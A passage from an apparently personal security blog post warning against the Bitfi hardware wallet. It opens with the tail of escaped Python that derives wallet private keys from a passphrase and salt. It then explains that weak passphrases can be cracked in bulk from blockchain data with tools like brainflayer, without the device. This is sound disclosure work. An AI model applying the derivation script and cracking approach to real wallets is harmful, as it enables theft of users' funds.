class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;coin_key&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcssc1"&gt;# ** test comment please ignore&lt;/span&gt;</code> </td></tr><tr><td class="linenos">28</td><td> <code> &lt;span class="pgcssk"&gt;return&lt;/span&gt; &lt;span class="pgcssn"&gt;bip32_extract_key&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sub_key&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">29</td><td> </td></tr><tr><td class="linenos">30</td><td> <code>&lt;span class="pgcssk"&gt;if&lt;/span&gt; &lt;span class="pgcssvm"&gt;__name__&lt;/span&gt; &lt;span class="pgcsso"&gt;==&lt;/span&gt; &lt;span class="pgcsss2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="pgcssp"&gt;:&lt;/span&gt;</code> </td></tr><tr><td class="linenos">31</td><td> <code> &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;s&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;c&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;1&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;2&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;3&lt;/span&gt;&lt;span class="pgcssp"&gt;],&lt;/span&gt; &lt;span class="pgcssn"&gt;sys&lt;/span&gt;&lt;span class="pgcsso"&gt;.&lt;/span&gt;&lt;span class="pgcssn"&gt;argv&lt;/span&gt;&lt;span class="pgcssp"&gt;[&lt;/span&gt;&lt;span class="pgcssmi"&gt;4&lt;/span&gt;&lt;span class="pgcssp"&gt;])&lt;/span&gt;</code> </td></tr><tr><td class="linenos">32</td><td> <code> &lt;span class="pgcssn"&gt;priv&lt;/span&gt; &lt;span class="pgcsso"&gt;=&lt;/span&gt; &lt;span class="pgcssn"&gt;derivekey&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;s&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;c&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;n&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr><tr><td class="linenos">33</td><td> <code> &lt;span class="pgcssn"&gt;print_address&lt;/span&gt;&lt;span class="pgcssp"&gt;(&lt;/span&gt;&lt;span class="pgcssn"&gt;priv&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;p&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;s&lt;/span&gt;&lt;span class="pgcssp"&gt;,&lt;/span&gt; &lt;span class="pgcssn"&gt;c&lt;/span&gt;&lt;span class="pgcssp"&gt;)&lt;/span&gt;</code> </td></tr></tbody></table></div> <p>Security-wise, this is about on par with using <a class="external" href="proxy.php?url=https%3A%2F%2Fkeybase.io%2Fwarp">WarpWallet</a> to generate a seed for a BIP32 wallet. Anyone can download the relevant blockchain and use something similar to <a class="external" href="proxy.php?url=https%3A%2F%2Fgithub.com%2Fryancdotorg%2Fbrainflayer">brainflayer</a> to search for weak passphrases across all addresses simultaneously. A patch adding support for Bitfi should be out in a few weeks after I recover from DEFCON (I&rsquo;m helping run a <a class="external" href="proxy.php?url=http%3A%2F%2Fopenctf.com%2F">legitimate hacking competition</a>). I also note that Bitfi is using uncompressed keys, which result in unnecessarily large transactions and have therefore been deprecated for several years.</p> <p>For savvy users who make no mistakes, this may<a class="footnote-reference" href="#id17">[7]</a><a id="id8"></a> provide adequate security.<a class="footnote-reference" href="#id18">[8]</a><a id="id9"></a> There are a few problems, though. First, despite Bitfi providing some <a class="external" href="proxy.php?url=https%3A%2F%2Fbitfi.com%2Fguide">reasonable advice</a> on passphrase selection, somebody is bound to pick something obvious. Second, it is highly impractical to change one&rsquo;s passphrase once in use since all addresses are derived from it. Third, this product design has a failure modes that most hardware wallets do not &mdash; cryptocurrency thieves can rob users who choose weak passphrases without needing to steal the hardware wallet first. Bitfi tries to sell this as a feature &mdash; &ldquo;If the device is seized or stolen, taken apart and forensically analyzed the private keys cannot be retrieved&rdquo;. This statement seems to follow from the claim that the device never writes any key material, even encrypted, to persistent storage. Perhaps true technically, however as I mentioned above, the consequence of this design is that cracking attempts do not require the device. The entire security is dependent on a single factor &mdash; &ldquo;something you know&rdquo; rather than the two factor security provided by typical hardware wallets &mdash; &ldquo;something you know, plus something you have&rdquo;.</p> <p>I <em>strongly</em> advise against using one of these devices. While Bitfi is perhaps not an outright scam, the design is inferior to that of hardware wallets where the device really is needed (or the backup of the seed) along with the passphrase in order to spend the coins. The fact that they&rsquo;re using a lot of the same techniques to sell devices that have been used to sell <a class="external" href="proxy.php?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FSnake_oil_%28cryptography%29">snake oil</a> so many times in the past makes me <em>very</em> concerned. I&rsquo;ve notified Bitfi of these issues, however they showed no interest in fixing them.</p> <p>Shortly after the original publishing of this post, <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fsshell_%2F">@sshell_</a> <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fsshell_%2Fstatus%2F1022891442367123457">discovered</a> that Bitfi&rsquo;s CEO, Daniel Khesin, had been in a <a class="external" href="proxy.php?url=https%3A%2F%2Fwww.sec.gov%2FArchives%2Fedgar%2Fdata%2F1463959%2F000155335016001916%2Fdskx_ex1.htm">legal fight</a> with DS Healthcare. From a closer examination of the documents, it looks like the court ruled in Khesin&rsquo;s favor.<a class="footnote-reference" href="#id19">[9]</a><a id="id10"></a></p> <p>Update 2018-07-30:</p> <p>I wrote this post simply to explain the risks of the Bitfi&rsquo;s product to people who might be harmed by it. Unfortunately, I now need to address accusations by some individuals affiliated with Bitfi that this article is retaliation for them turning me down for a job. To be clear, the tweet in which I said &ldquo;contact me via email if you&rsquo;re interested in hiring me to do a security evaluation&rdquo; was not a request for employment, merely a tactic to shut down the conversation. I already have a full time job and various side projects that keep me too busy to take on paid consulting work.</p> <p>While I&rsquo;m at it &mdash; I have no financial interest in any cryptocurrency wallet. My blog is operated at a loss without ads, coinhive, or any other monetization scheme. This post and the work behind it was not sponsored or approved by my employer. It was written without compensation or expectation thereof. I respond to such offers by <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F880236691033698304">posting</a> <a class="external" href="proxy.php?url=https%3A%2F%2Ftwitter.com%2Fryancdotorg%2Fstatus%2F974835362332839936">screenshots</a>.</p>